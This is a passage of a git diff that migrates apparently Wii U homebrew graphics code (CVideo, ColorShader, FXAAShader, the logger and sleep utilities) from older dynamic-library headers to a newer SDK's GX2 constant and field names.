* format, ...) { diff --git a/src/utils/StringTools.h b/src/utils/StringTools.h index bcf89c4..897376a 100644 --- a/src/utils/StringTools.h +++ b/src/utils/StringTools.h @@ -26,9 +26,9 @@ #ifndef __STRING_TOOLS_H #define __STRING_TOOLS_H -#include #include #include +#include "common/types.h" const char * fmt(const char * format, ...); const wchar_t * wfmt(const char * format, ...); diff --git a/src/utils/logger.c b/src/utils/logger.c index f4795b4..90f4497 100644 --- a/src/utils/logger.c +++ b/src/utils/logger.c @@ -1,18 +1,17 @@ +#include #include #include #include #include #include +#include #include "common/common.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/socket_functions.h" #include "logger.h" #ifdef DEBUG_LOGGER static int log_socket = -1; static volatile int log_lock = 0; - void log_init(const char * ipString) { log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); diff --git a/src/utils/net.c b/src/utils/net.c index 01e5eab..139acb7 100644 --- a/src/utils/net.c +++ b/src/utils/net.c @@ -1,4 +1,4 @@ -#include "dynamic_libs/socket_functions.h" +#include int recvwait(int sock, unsigned char *buffer, int len) { diff --git a/src/utils/utils.c b/src/utils/utils.c new file mode 100644 index 0000000..c46a559 --- /dev/null +++ b/src/utils/utils.c @@ -0,0 +1,17 @@ +#include + + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) +#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) +#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) + +void usleep(unsigned int microsecs) +{ + OSSleepTicks(MICROSECS_TO_TICKS(microsecs)); +} + +void sleep(unsigned int secs) +{ + OSSleepTicks(SECS_TO_TICKS(secs)); +} diff --git a/src/video/CVideo.cpp b/src/video/CVideo.cpp index 63d134b..adef8a1 100644 --- a/src/video/CVideo.cpp +++ b/src/video/CVideo.cpp @@ -21,9 +21,7 @@ #include "shaders/Texture2DShader.h" #include "shaders/ColorShader.h" #include "shaders/Shader3D.h" -#include "shaders/ShaderFractalColor.h" #include "shaders/FXAAShader.h" -#include "dynamic_libs/os_functions.h" CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) { @@ -35,25 +33,22 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) //! initialize GX2 command buffer u32 gx2_init_attributes[9]; - gx2_init_attributes[0] = GX2_INIT_ATTRIB_CB_BASE; + gx2_init_attributes[0] = GX2_INIT_CMD_BUF_BASE; gx2_init_attributes[1] = (u32)gx2CommandBuffer; - gx2_init_attributes[2] = GX2_INIT_ATTRIB_CB_SIZE; + gx2_init_attributes[2] = GX2_INIT_CMD_BUF_POOL_SIZE; gx2_init_attributes[3] = GX2_COMMAND_BUFFER_SIZE; - gx2_init_attributes[4] = GX2_INIT_ATTRIB_ARGC; + gx2_init_attributes[4] = GX2_INIT_ARGC; gx2_init_attributes[5] = 0; - gx2_init_attributes[6] = GX2_INIT_ATTRIB_ARGV; + gx2_init_attributes[6] = GX2_INIT_ARGV; gx2_init_attributes[7] = 0; - gx2_init_attributes[8] = GX2_INIT_ATTRIB_NULL; + gx2_init_attributes[8] = GX2_INIT_END; GX2Init(gx2_init_attributes); - //! GX2 resources are not used in this application but if needed, the allocator is setup - GX2RSetAllocator(&CVideo::GX2RAlloc, &CVideo::GX2RFree); - u32 scanBufferSize = 0; - s32 scaleNeeded = 0; + u32 scaleNeeded = 0; - s32 tvScanMode = (forceTvScanMode >= 0) ? forceTvScanMode : GX2GetSystemTVScanMode(); - s32 drcScanMode = (forceDrcScanMode >= 0) ? forceDrcScanMode : GX2GetSystemDRCScanMode(); + s32 tvScanMode = ((forceTvScanMode >= 0) ? forceTvScanMode : (s32)GX2GetSystemTVScanMode()); + s32 drcScanMode = ((forceDrcScanMode >= 0) ? forceDrcScanMode : (s32)GX2GetSystemDRCScanMode()); s32 tvRenderMode; u32 tvWidth = 0; @@ -65,24 +60,24 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) case GX2_TV_SCAN_MODE_480P: tvWidth = 854; tvHeight = 480; - tvRenderMode = GX2_TV_RENDER_480_WIDE; + tvRenderMode = GX2_TV_RENDER_MODE_WIDE_480P; break; case GX2_TV_SCAN_MODE_1080I: case GX2_TV_SCAN_MODE_1080P: tvWidth = 1920; tvHeight = 1080; - tvRenderMode = GX2_TV_RENDER_1080; + tvRenderMode = GX2_TV_RENDER_MODE_WIDE_1080P; break; case GX2_TV_SCAN_MODE_720P: default: tvWidth = 1280; tvHeight = 720; - tvRenderMode = GX2_TV_RENDER_720; + tvRenderMode = GX2_TV_RENDER_MODE_WIDE_720P; break; } - s32 tvAAMode = GX2_AA_MODE_1X; - s32 drcAAMode = GX2_AA_MODE_4X; + s32 tvAAMode = GX2_AA_MODE1X; + s32 drcAAMode = GX2_AA_MODE4X; //! calculate the scale factor for later texture resize widthScaleFactor = 1.0f / (f32)tvWidth; @@ -90,51 +85,51 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) depthScaleFactor = widthScaleFactor; //! calculate the size needed for the TV scan buffer and allocate the buffer from bucket memory - GX2CalcTVSize(tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); + GX2CalcTVSize((GX2TVRenderMode)tvRenderMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE, &scanBufferSize, &scaleNeeded); tvScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); - GX2Invalidate(GX2_INVALIDATE_CPU, tvScanBuffer, scanBufferSize); - GX2SetTVBuffer(tvScanBuffer, scanBufferSize, tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvScanBuffer, scanBufferSize); + GX2SetTVBuffer(tvScanBuffer, scanBufferSize, (GX2TVRenderMode)tvRenderMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE); //! calculate the size needed for the DRC scan buffer and allocate the buffer from bucket memory - GX2CalcDRCSize(drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); + GX2CalcDRCSize((GX2DrcRenderMode)drcScanMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE, &scanBufferSize, &scaleNeeded); drcScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); - GX2Invalidate(GX2_INVALIDATE_CPU, drcScanBuffer, scanBufferSize); - GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcScanBuffer, scanBufferSize); + GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, (GX2DrcRenderMode)drcScanMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE); //! Setup color buffer for TV rendering - GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, tvAAMode); - tvColorBuffer.surface.image_data = MEM1_alloc(tvColorBuffer.surface.image_size, tvColorBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.surface.image_data, tvColorBuffer.surface.image_size); + GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_TEXTURE_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, (GX2AAMode)tvAAMode); + tvColorBuffer.surface.image = MEM1_alloc(tvColorBuffer.surface.imageSize, tvColorBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvColorBuffer.surface.image, tvColorBuffer.surface.imageSize); //! due to AA we can only use 16 bit depth buffer in MEM1 otherwise we would have to switch to mem2 for depth buffer //! this should be ok for our purpose i guess //! Setup TV depth buffer (can be the same for both if rendered one after another) u32 size, align; - GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, tvAAMode); - tvDepthBuffer.surface.image_data = MEM1_alloc(tvDepthBuffer.surface.image_size, tvDepthBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.surface.image_data, tvDepthBuffer.surface.image_size); + GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_TEXTURE_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_FLOAT_R32, (GX2AAMode)tvAAMode); + tvDepthBuffer.surface.image = MEM1_alloc(tvDepthBuffer.surface.imageSize, tvDepthBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvDepthBuffer.surface.image, tvDepthBuffer.surface.imageSize); //! Setup TV HiZ buffer GX2CalcDepthBufferHiZInfo(&tvDepthBuffer, &size, &align); - tvDepthBuffer.hiZ_data = MEM1_alloc(size, align); - GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.hiZ_data, size); + tvDepthBuffer.hiZPtr = MEM1_alloc(size, align); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvDepthBuffer.hiZPtr, size); GX2InitDepthBufferHiZEnable(&tvDepthBuffer, GX2_ENABLE); //! Setup color buffer for DRC rendering - GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_2D, 854, 480, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, drcAAMode); - drcColorBuffer.surface.image_data = MEM1_alloc(drcColorBuffer.surface.image_size, drcColorBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.surface.image_data, drcColorBuffer.surface.image_size); + GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_TEXTURE_2D, 854, 480, 1, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, (GX2AAMode)drcAAMode); + drcColorBuffer.surface.image = MEM1_alloc(drcColorBuffer.surface.imageSize, drcColorBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcColorBuffer.surface.image, drcColorBuffer.surface.imageSize); //! Setup DRC depth buffer (can be the same for both if rendered one after another) - GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, drcAAMode); - drcDepthBuffer.surface.image_data = MEM1_alloc(drcDepthBuffer.surface.image_size, drcDepthBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.surface.image_data, drcDepthBuffer.surface.image_size); + GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_TEXTURE_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_FLOAT_R32, (GX2AAMode)drcAAMode); + drcDepthBuffer.surface.image = MEM1_alloc(drcDepthBuffer.surface.imageSize, drcDepthBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcDepthBuffer.surface.image, drcDepthBuffer.surface.imageSize); //! Setup DRC HiZ buffer GX2CalcDepthBufferHiZInfo(&drcDepthBuffer, &size, &align); - drcDepthBuffer.hiZ_data = MEM1_alloc(size, align); - GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.hiZ_data, size); + drcDepthBuffer.hiZPtr = MEM1_alloc(size, align); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcDepthBuffer.hiZPtr, size); GX2InitDepthBufferHiZEnable(&drcDepthBuffer, GX2_ENABLE); @@ -143,25 +138,25 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) { u32 auxSize, auxAlign; GX2CalcColorBufferAuxInfo(&tvColorBuffer, &auxSize, &auxAlign); - tvColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); - if(!tvColorBuffer.aux_data) - tvColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); + tvColorBuffer.aaBuffer = MEM1_alloc(auxSize, auxAlign); + if(!tvColorBuffer.aaBuffer) + tvColorBuffer.aaBuffer = MEM2_alloc(auxSize, auxAlign); - tvColorBuffer.aux_size = auxSize; - memset(tvColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); - GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.aux_data, auxSize); + tvColorBuffer.aaSize = auxSize; + memset(tvColorBuffer.aaBuffer, GX2_AA_BUFFER_CLEAR_VALUE, auxSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvColorBuffer.aaBuffer, auxSize); } if (drcColorBuffer.surface.aa) { u32 auxSize, auxAlign; GX2CalcColorBufferAuxInfo(&drcColorBuffer, &auxSize, &auxAlign); - drcColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); - if(!drcColorBuffer.aux_data) - drcColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); - drcColorBuffer.aux_size = auxSize; - memset(drcColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); - GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.aux_data, auxSize ); + drcColorBuffer.aaBuffer = MEM1_alloc(auxSize, auxAlign); + if(!drcColorBuffer.aaBuffer) + drcColorBuffer.aaBuffer = MEM2_alloc(auxSize, auxAlign); + drcColorBuffer.aaSize = auxSize; + memset(drcColorBuffer.aaBuffer, GX2_AA_BUFFER_CLEAR_VALUE, auxSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcColorBuffer.aaBuffer, auxSize); } //! allocate memory and setup context state TV @@ -200,11 +195,11 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) viewMtx = glm::translate(viewMtx, glm::vec3(0.0f, 0.0f, -2.5f)); viewMtx = glm::rotate(viewMtx, DegToRad(cam_X_rot), glm::vec3(1.0f, 0.0f, 0.0f)); - GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_CLAMP, GX2_TEX_XY_FILTER_BILINEAR); - GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_DEFAULT); - tvAaTexture.surface.image_data = tvColorBuffer.surface.image_data; - tvAaTexture.surface.image_size = tvColorBuffer.surface.image_size; - tvAaTexture.surface.mip_data = tvColorBuffer.surface.mip_data; + GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_MODE_CLAMP, GX2_TEX_XY_FILTER_MODE_LINEAR); + GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_DEFAULT); + tvAaTexture.surface.image = tvColorBuffer.surface.image; + tvAaTexture.surface.imageSize = tvColorBuffer.surface.imageSize; + tvAaTexture.surface.mipmaps = tvColorBuffer.surface.mipmaps; } CVideo::~CVideo() @@ -220,36 +215,35 @@ CVideo::~CVideo() MEMBucket_free(tvScanBuffer); MEMBucket_free(drcScanBuffer); //! free color buffers - MEM1_free(tvColorBuffer.surface.image_data); - MEM1_free(drcColorBuffer.surface.image_data); + MEM1_free(tvColorBuffer.surface.image); + MEM1_free(drcColorBuffer.surface.image); //! free depth buffers - MEM1_free(tvDepthBuffer.surface.image_data); - MEM1_free(tvDepthBuffer.hiZ_data); - MEM1_free(drcDepthBuffer.surface.image_data); - MEM1_free(drcDepthBuffer.hiZ_data); + MEM1_free(tvDepthBuffer.surface.image); + MEM1_free(tvDepthBuffer.hiZPtr); + MEM1_free(drcDepthBuffer.surface.image); + MEM1_free(drcDepthBuffer.hiZPtr); //! free context buffers MEM2_free(tvContextState); MEM2_free(drcContextState); //! free aux buffer - if(tvColorBuffer.aux_data) + if(tvColorBuffer.aaBuffer) { - if(((u32)tvColorBuffer.aux_data & 0xF0000000) == 0xF0000000) - MEM1_free(tvColorBuffer.aux_data); + if(((u32)tvColorBuffer.aaBuffer & 0xF0000000) == 0xF0000000) + MEM1_free(tvColorBuffer.aaBuffer); else - MEM2_free(tvColorBuffer.aux_data); + MEM2_free(tvColorBuffer.aaBuffer); } - if(drcColorBuffer.aux_data) + if(drcColorBuffer.aaBuffer) { - if(((u32)drcColorBuffer.aux_data & 0xF0000000) == 0xF0000000) - MEM1_free(drcColorBuffer.aux_data); + if(((u32)drcColorBuffer.aaBuffer & 0xF0000000) == 0xF0000000) + MEM1_free(drcColorBuffer.aaBuffer); else - MEM2_free(drcColorBuffer.aux_data); + MEM2_free(drcColorBuffer.aaBuffer); } //! destroy shaders ColorShader::destroyInstance(); FXAAShader::destroyInstance(); Shader3D::destroyInstance(); - ShaderFractalColor::destroyInstance(); Texture2DShader::destroyInstance(); } @@ -258,33 +252,13 @@ void CVideo::renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler) resolution[0] = texture->surface.width; resolution[1] = texture->surface.height; - GX2Invalidate(GX2_INVALIDATE_COLOR_BUFFER | GX2_INVALIDATE_TEXTURE, texture->surface.image_data, texture->surface.image_size); + GX2Invalidate((GX2InvalidateMode)(GX2_INVALIDATE_MODE_COLOR_BUFFER | GX2_INVALIDATE_MODE_TEXTURE), texture->surface.image, texture->surface.imageSize); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_ALWAYS); FXAAShader::instance()->setShaders(); FXAAShader::instance()->setAttributeBuffer(); FXAAShader::instance()->setResolution(resolution); FXAAShader::instance()->setTextureAndSampler(texture, sampler); FXAAShader::instance()->draw(); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); -} - -void* CVideo::GX2RAlloc(u32 flags, u32 size, u32 align) -{ - //! min. alignment - if (align < 4) - align = 4; - - if ((flags & 0x2040E) && !(flags & 0x40000)) - return MEM1_alloc(size, align); - else - return MEM2_alloc(size, align); -} - -void CVideo::GX2RFree(u32 flags, void* p) -{ - if ((flags & 0x2040E) && !(flags & 0x40000)) - MEM1_free(p); - else - MEM2_free(p); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); } diff --git a/src/video/CVideo.h b/src/video/CVideo.h index e9b457e..2539c21 100644 --- a/src/video/CVideo.h +++ b/src/video/CVideo.h @@ -17,7 +17,14 @@ #ifndef __CVIDEO_H_ #define __CVIDEO_H_ -#include "dynamic_libs/gx2_functions.h" +#include +#include +#include +#include +#include +#include +#include + #include "shaders/Shader.h" class CVideo @@ -42,15 +49,15 @@ public: void prepareRendering(void) { GX2ClearColor(currColorBuffer, 0.0f, 0.0f, 0.0f, 1.0f); - GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->clear_depth, currDepthBuffer->clear_stencil, GX2_CLEAR_BOTH); + GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->depthClear, currDepthBuffer->stencilClear, GX2_CLEAR_FLAGS_BOTH); GX2SetContextState(currContextState); GX2SetViewport(0.0f, 0.0f, currColorBuffer->surface.width, currColorBuffer->surface.height, 0.0f, 1.0f); GX2SetScissor(0, 0, currColorBuffer->surface.width, currColorBuffer->surface.height); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); GX2SetColorControl(GX2_LOGIC_OP_COPY, 1, GX2_DISABLE, GX2_ENABLE); - GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD, GX2_ENABLE, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD); + GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_MODE_SRC_ALPHA, GX2_BLEND_MODE_INV_SRC_ALPHA, GX2_BLEND_COMBINE_MODE_ADD, GX2_ENABLE, GX2_BLEND_MODE_SRC_ALPHA, GX2_BLEND_MODE_INV_SRC_ALPHA, GX2_BLEND_COMBINE_MODE_ADD); GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE); } @@ -59,21 +66,21 @@ public: if(bEnable) { GX2SetStencilMask(0xff, 0xff, 0x01, 0xff, 0xff, 0x01); - GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE, - GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE); + GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_ALWAYS, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_REPLACE, + GX2_COMPARE_FUNC_ALWAYS, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_REPLACE); } else { GX2SetStencilMask(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); - GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, - GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP); + GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_NEVER, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, + GX2_COMPARE_FUNC_NEVER, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP); } } void drcDrawDone(void) { //! on DRC we do a hardware AA because FXAA does not look good //renderFXAA(&drcAaTexture, &aaSampler); - GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC_FIRST); + GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC); } void tvDrawDone(void) { @@ -161,9 +168,6 @@ public: rayDirection = glm::normalize(rayDirectionWorld); } private: - static void *GX2RAlloc(u32 flags, u32 size, u32 align); - static void GX2RFree(u32 flags, void* p); - void renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler); void *gx2CommandBuffer; diff --git a/src/video/shaders/ColorShader.cpp b/src/video/shaders/ColorShader.cpp index d8e963e..bc4a050 100644 --- a/src/video/shaders/ColorShader.cpp +++ b/src/video/shaders/ColorShader.cpp @@ -116,7 +116,7 @@ ColorShader::ColorShader() pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); colorIntensityLocation = 0; - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); @@ -124,18 +124,18 @@ ColorShader::ColorShader() angleLocation = 0; offsetLocation = 4; scaleLocation = 8; - vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_SHADER_VAR_TYPE_FLOAT, 1, angleLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_SHADER_VAR_TYPE_FLOAT3, 1, offsetLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_SHADER_VAR_TYPE_FLOAT3, 1, scaleLocation, -1 }); colorLocation = 1; positionLocation = 0; - vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_VAR_TYPE_VEC4, 0, colorLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_SHADER_VAR_TYPE_FLOAT4, 0, colorLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_UNORM_8_8_8_8); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -150,7 +150,7 @@ ColorShader::ColorShader() positionVtxs[i++] = 1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, positionVtxs, cuPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, positionVtxs, cuPositionVtxsSize); } } diff --git a/src/video/shaders/FXAAShader.cpp b/src/video/shaders/FXAAShader.cpp index f86087b..3b46733 100644 --- a/src/video/shaders/FXAAShader.cpp +++ b/src/video/shaders/FXAAShader.cpp @@ -172,22 +172,22 @@ FXAAShader::FXAAShader() pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); resolutionLocation = 0; - pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_VAR_TYPE_VEC2, 1, resolutionLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_SHADER_VAR_TYPE_FLOAT2, 1, resolutionLocation, -1 }); samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); positionLocation = 0; texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, 